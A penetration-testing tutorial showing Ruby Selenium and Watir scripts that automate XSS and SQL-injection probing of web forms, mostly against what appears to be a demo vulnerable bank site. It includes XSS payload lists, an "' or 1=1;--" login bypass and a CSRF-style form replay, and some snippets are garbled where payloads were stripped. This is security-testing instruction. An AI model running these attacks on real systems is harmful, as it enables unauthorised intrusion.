Browser Manipulation
Browser Manipulation
As a hacker, sometimes you need to automate your client side tests (ex. XSS) and reduce the false positives that happen specially in XSS tests. The traditional automation depends on finding the sent payload been received in the response, but it doesn’t mean the vulnerability get really exploited so you have to do it manually again and again.
Here we’ll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.
The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.
Selenium Webdriver
Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.
- install selenium gem ``` gem install selenium-webdriver
### GET Request
!/usr/bin/env ruby
KING SABRI | @KINGSABRI
require "selenium-webdriver"
Profile Setup and Tweak
proxy = Selenium::WebDriver::Proxy.new( :http => PROXY, :ftp => PROXY, :ssl => PROXY ) # Set Proxy hostname and port profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " + "Windows Phone OS 7.5; Trident/5.0; " + "IEMobile/9.0)" # Set User Agent profile.proxy = proxy # Set Proxy profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
Start Driver
driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
driver.manage.window.resize_to(500, 400) # Set Browser windows size driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
Interact with elements
element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
element.send_keys "
" # Send your keys to element
element.send_keys(:control, 't') # Open a new tab
element.submit # Submit the text you've just sent
> Note that the actual keys to send depend on your OS, for example, Mac uses `COMMAND + t`, instead of `CONTROL + t`.
### POST Request
!/usr/bin/env ruby
KING SABRI | @KINGSABRI
require 'selenium-webdriver'
browser = Selenium::WebDriver.for :firefox browser.get "http://www.altoromutual.com/bank/login.aspx"
wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
Find the input elements to interact with later.
input = wait.until { element_user = browser.find_element(:name, "uid") element_pass = browser.find_element(:name, "passw") # Retrun array of elements when get displayed [element_user, element_pass] if element_user.displayed? and element_pass.displayed? }
input[0].send_keys("' or 1=1;--") # Send key for the 1st element input[1].send_keys("password") # Send key fro the next element sleep 1
Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
submit = browser.find_element(:name, "btnSubmit").click #.submit
browser.quit
Let’s test the page against XSS vulnerability. First I’ll list what kind of action we need from browser
1. Open a browser window (Firefox)
2. Navigate to a URL (altoromutual.com)
3. Perform some operations (Send an XSS payload)
4. Check if the payload is working(Popping-up) or it’s a false positive
5. Print the succeed payloads on terminal
**selenium-xss.rb**
!/usr/bin/env ruby
KING SABRI | @KINGSABRI
require 'selenium-webdriver'
payloads = [ "
browser = Selenium::WebDriver.for :firefox # You can use :ff too browser.manage.window.resize_to(500, 400) # Set browser size browser.get "http://www.altoromutual.com/search.aspx?"
wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
payloads.each do |payload| input = wait.until do element = browser.find_element(:name, 'txtSearch') element if element.displayed? end input.send_keys(payload) input.submit
begin wait.until do txt = browser.switch_to.alert if (1..100) === txt.text.to_i puts "Payload is working: #{payload}" txt.accept end end rescue Selenium::WebDriver::Error::NoAlertOpenError puts "False Positive: #{payload}" next end
end
browser.close
Result
ruby selenium-xss.rb Payload is working:
Payload is working: Payload is working: alert(3) Payload is working: False Positive: javascript:alert(5) False Positive: alert(/6/.source)
## Watir Webdriver
[**Watir**](<http://watirwebdriver.com/>) is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.
* install watir gem ```
gem install watir
GET Request
#!/usr/bin/env ruby
## KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
browser.goto "http://www.altoromutual.com/search.aspx?"
browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
btn = browser.button(value: 'Go')
puts btn.exists?
btn.click
## browser.close
Sometime you’ll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You’ll face a known error Selenium:    Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it’ll work so the fix for this issue is the following.
#!/usr/bin/env ruby
## KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
wait = Selenium::WebDriver::Wait.new(:timeout => 15)
begin
browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
rescue Selenium::WebDriver::Error::UnhandledAlertError
browser.refresh
wait.until {browser.alert.exists?}
end
if browser.alert.exists?
browser.alert.ok
puts "[+] Exploit found!"
browser.close
end
POST Request
#!/usr/bin/env ruby
## KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
browser.window.resize_to(800, 600)
browser.window.move_to(0, 0)
browser.goto "http://www.altoromutual.com/bank/login.aspx"
browser.text_field(name: 'uid').set("' or 1=1;-- ")
browser.text_field(name: 'passw').set("password")
btn = browser.button(name: 'btnSubmit').click
## browser.close
- Since Waiter is integrated with Selenium, you can use both to achieve one goal
- For Some reason in some log-in cases, you may need to add a delay time between entering username and password then submit.
Selenium, Watir Arbitrary POST request
Here another scenario I’ve faced, I was against POST request without submit button, in another word, the test was against intercepted request generated from jQuery function, in my case was a drop menu. So The work round wad quite simple, Just create an HTML file contains POST form with the original parameters plus a Submit button(just like creating CSRF exploit from a POST form) then call that html file to the browser and deal with it as normal form. Let’s to see an example here.
POST request
POST /path/of/editfunction HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Cookie: PHPSESSIONID=111111111111111111111
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
field1=""&field2=""&field3=""&field4=""
example.html
<html>
<head>
<title>Victim Site - POST request</title>
</head>
<body>
<form action="https://example.com/path/of/editfunction" method="POST">
<input type="text" name="field1" value="" />
<input type="text" name="field2" value="" />
<input type="text" name="field3" value="" />
<input type="text" name="field4" value="" />
<p><input type="submit" value="Send" /></p>
</form>
</body>
</html>
exploit.rb
#!/usr/bin/env ruby
## KING SABRI | @KINGSABRI
#
require 'watir'
@browser = Watir::Browser.new :firefox
@browser.window.resize_to(800, 600) # Set browser size
@browser.window.move_to(400, 300) # Allocate browser position
def sendpost(payload)
@browser.goto "file:///home/KING/Code/example.html"
@browser.text_field(name: 'field1').set(payload)
@browser.text_field(name: 'field2').set(payload)
@browser.text_field(name: 'field3').set(payload)
@browser.text_field(name: 'field4').set(payload)
sleep 0.1
@browser.button(value: 'Send').click
end
payloads =
[
'"><script>alert(1)</script>',
'<img src=x onerror=alert(2)>'
]
puts "[*] Exploitation start"
puts "[*] Number of payloads: #{payloads.size} payloads"
payloads.each do |payload|
print "\r[*] Trying: #{payload}"
print "\e[K"
sendpost payload
if @browser.alert.exists?
@browser.alert.ok
puts "[+] Exploit found!: " + payload
@browser.close
end
end
Dealing with tabs
One of scenarios I’ve faced is to exploit XSS a user profile fields and check the result in another page which present the public user’s profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user’s profile page then return back to send the exploit and so on.
xss_tab.rb
#!/usr/bin/env ruby
## KING SABRI | @KINGSABRI
#
require 'watir'
require 'uri'
@url = URI.parse "http://example.com/Users/User_Edit.aspx?userid=68"
@browser = Watir::Browser.new :firefox
@browser.window.resize_to(800, 600)
## @browser.window.move_to(540, 165)
@wait = Selenium::WebDriver::Wait.new(:timeout => 10)
@browser.goto "http://example.com/logon.aspx"
## Login
@browser.text_field(name: 'Login1$UserName').set("admin")
@browser.text_field(name: 'Login1$Password').set("P@ssword")
sleep 0.5
@browser.button(name: 'Login1$LoginButton').click
def sendpost(payload)
begin
@browser.switch # Make sure to focus on current tab/window
@browser.goto "#{@url.scheme}://#{@url.host}/#{@url.path}?#{@url.query}" # Goto the URL
@wait.until {@browser.text_field(id: 'txtFullName').exists?} # Wait until wanted text area appear
@browser.text_field(id: 'txtFullName').set(payload) # Set payload to the text area
@browser.text_field(id: 'txtFirstName').set(payload) # Set payload to the text area
@browser.button(name: '$actionsElem$save').click # Click Save button
rescue Selenium::WebDriver::Error::UnhandledAlertError
@browser.refresh # Refresh the current page
@wait.until {@browser.alert.exists?} # Check if alert box appear
end
end
payloads =
[
"\"><video src=x onerror=alert(1);>",
"<img src=x onerror='alert(2)'>",
"<script>alert(3)</script>",
"<svg/OnlOad=prompt(4)>",
"javascript:alert(5)",
"alert(/6/.source)"
]
puts "[*] Exploitation start"
puts "[*] Number of payloads: #{payloads.size} payloads"
@browser.send_keys(:control, 't') # Sent Ctrl+T to open new tab
@browser.goto "http://example.com/pub_prof/user/silver.aspx" # Goto the use's public profile
@browser.switch # Make sure to focus on current tab/window
payloads.each do |payload|
@browser.send_keys(:alt, '1') # Send Alt+1 to go to first tab
sendpost payload
puts "[*] Sending to '#{@browser.title}' Payload : #{payload}"
@browser.send_keys(:alt, '2') # Send Alt+2 to go to second tab
@browser.switch
@browser.refresh
puts "[*] Checking Payload Result on #{@browser.title}"
if @browser.alert.exists?
@browser.alert.ok
puts
puts "[+] Exploit found!: " + payload
@browser.close
exit 0
end
end
@browser.close
puts
